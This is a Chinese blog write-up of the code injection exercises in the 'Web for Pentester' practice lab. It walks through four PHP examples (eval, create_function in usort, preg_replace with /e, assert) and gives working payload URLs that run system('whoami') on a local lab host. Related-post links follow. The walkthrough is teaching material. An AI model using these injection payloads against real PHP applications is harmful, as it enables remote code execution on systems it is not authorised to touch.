Web for pentester_writeup之Code injection篇

Code injection(代码注入)

Example 1

![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143257650-1309948164.png)

`name=hacker’` 添加一个单引号
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143311050-821937799.png)

`name=hacker”` 添加一个双引号
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143356350-2108491842.png)

返回报错信息,分析可知执行了eval()程序

继续测试
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143459406-1888671742.png)

这块有点复杂,我们先看一下源代码
```php

可知eval实际执行的函数是 `echo "Hello ".$_GET['name']."!!!";` ,这条语句中点号`.`是字符串拼接.
根据上述信息我们可以构造一个执行whoami命令的脚本
>Payload 1 结尾使用赋值的方法闭合语句
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami'); $dummy="`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143538991-707665184.png)</center> <p>实际执行的语句为
<p>`echo "Hello ".hacker".system('whoami'); $dummy="."!!!";` 拼接一下变为
<p>`echo "Hello hacker".system('whoami'); $dummy="!!!";`
<p>从页面返回可以看出,系统先执行了whoami命令,然后执行输出 >Payload 2
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');%23`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143547121-1368557021.png)</center>
>
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');//`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143555419-1257008802.png)</center>
<p>以上2种方式都可以成功执行命令,结尾直接使用#号或//注释后面的内容 ###**Example 2**
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143708057-1571194764.png)</center>
<p>使用单引号 `?order=id'`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143728771-721286394.png)</center>
<p>发现使用的是usort()函数
<p>查看源代码
```php
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}

尝试闭合构造如下:

?order=id;}// 报错Parse error: syntax error, unexpected ';' 我们可能少了一个或者多个括号。

?order=id);}// 警告Warning: strcmp() expects exactly 2 parameters, 1 given到报的不是语法错误,这个应该可行。

?order=id));}// 继续加括号,报错Parse error: syntax error, unexpected ')'应该是多括号的原因。

Payload

http://192.168.219.136/codeexec/example2.php?order=id);}system('whoami');//

![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143741019-782621294.png)
###**Example 3**
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143746427-1102653696.png)
查看源代码
```php

```

preg_replace()函数:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。

$count: 可选,为替换执行的次数。

/e修正符使preg_replace()将replacement参数当作php代码执行,前提是subject中有pattern的匹配。

我们给pattern参数加上/e修正符,并使得subject中有pattern的匹配,并把replacement改为我们要执行的命令

Payload

http://192.168.219.136/codeexec/example3.php?new=system('whoami')&pattern=/lamer/e&base=Hello%20lamer

![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143759155-67554670.png)

注:php5.5版本以上就废弃了`preg_replace`函数中 `/e` 这个修饰符,转而修改成 `preg_replace _callback`
###**Example 4**
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143810190-1192216016.png)

老套路,发现`assert()`函数
>Payload
`http://192.168.219.136/codeexec/example4.php?name=hacker'.system(whoami).'`
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143843468-553703910.png)

对PHP函数代码执行不是特别熟悉,所以主要参考了以下文章,写的很详细

参考文章:`https://www.freebuf.com/sectool/168653.html`

Web for pentester_writeup之Code injection篇的更多相关文章

  1. Web for pentester_writeup之Commands injection篇

    Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...

  2. Web for pentester_writeup之XML attacks篇

    Web for pentester_writeup之XML attacks篇 XML attacks(XML攻击) Example 1 - XML外部实体注入(XXE) Payload http:// ...

  3. Web for pentester_writeup之LDAP attacks篇

    Web for pentester_writeup之LDAP attacks篇 LDAP attacks(LDAP 攻击) LDAP是轻量目录访问协议,英文全称是Lightweight Directo ...

  4. Web for pentester_writeup之File Upload篇

    Web for pentester_writeup之File Upload篇 File Upload(文件上传) Example 1 直接上传一句话木马,使用蚁剑连接 成功连接,获取网站根目录 Exa ...

  5. Web for pentester_writeup之File Include篇

    Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...

  6. Web for pentester_writeup之Directory traversal篇

    Web for pentester_writeup之Directory traversal篇 Directory traversal(目录遍历) 目录遍历漏洞,这部分有三个例子,直接查看源代码 Exa ...

  7. Web for pentester_writeup之SQL injections篇

    Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...

  8. Web for pentester_writeup之XSS篇

    Web for pentester_writeup之XSS篇 XSS(跨站脚本攻击) Example 1 反射性跨站脚本,URL中name字段直接在网页中显示,修改name字段, Payload: h ...

  9. phpMyadmin /scripts/setup.php Remote Code Injection && Execution CVE-2009-1151

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Insufficient output sanitizing when gener ...

随机推荐

  1. git 查看日志记录

    1.git log 如果日志特别多的话,在git bash中,按向下键来查看更多,按q键退出查看日志. 2.git show 查看最近一次commit内容,也可以后面加commit号,单独查看此次版本 ...

  2. 利用sed将xml报文转换为分隔符形式报文

    原始xml文本如下 <?xml version="1.0" encoding="utf-8"?> <Message> <Heade ...

  3. Python3 pygal 与 pygal_maps_world 绘制世界地图

    直接代码: import pygalfrom pygal_maps_world.i18n import COUNTRIES def word_country_map(): ""&q ...

  4. Python调用GithubAPI并进行初步的数据分析

    找到一个Github 上的公开api url = 'https://api.github.com/search/repositories?q=language:python&sort=star ...

  5. django渲染高阶

    08.16自我总结 django渲染高阶 一.利用母版渲染 1.创建母版文件 如:stamper.html <!DOCTYPE html> <html lang="en&q ...

  6. cobalt strike笔记-常用beacon扫盲

    最近还是重新补一下cs的东西 0x01 Beacon命令 Beacon Commands =============== Command Description ------- ----------- ...

  7. wwindows权限认识(用户及用户组)

    windows权限认识(用户及用户组) Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限.只要用户账户加 ...

  8. mysql连接方法

    一.MySQL 连接本地数据库,用户名为“root”,密码“123”(注意:“-p”和“123” 之间不能有空格) mysql -h localhost -u root -p123或mysql -u ...

  9. php反序列化漏洞复现

    超适合小白的php反序列化漏洞复现 写在前头的话 在OWASP TOP10中,反序列化已经榜上有名,但是究竟什么是反序列化,我觉得应该进下心来好好思考下.我觉得学习的时候,所有的问题都应该问3个问题: ...

  10. css涂鸦这样玩

    前言 上一次深扒CSS的时候,还说CSS和H5绘制复杂图形很麻烦,看了大神的操作后,感觉茅塞顿开了,哈哈. 就算可能我暂时没有用到的机会,学习一下开发者的设计思路也是受益匪浅呀. 嗯,今天要介绍的是一 ...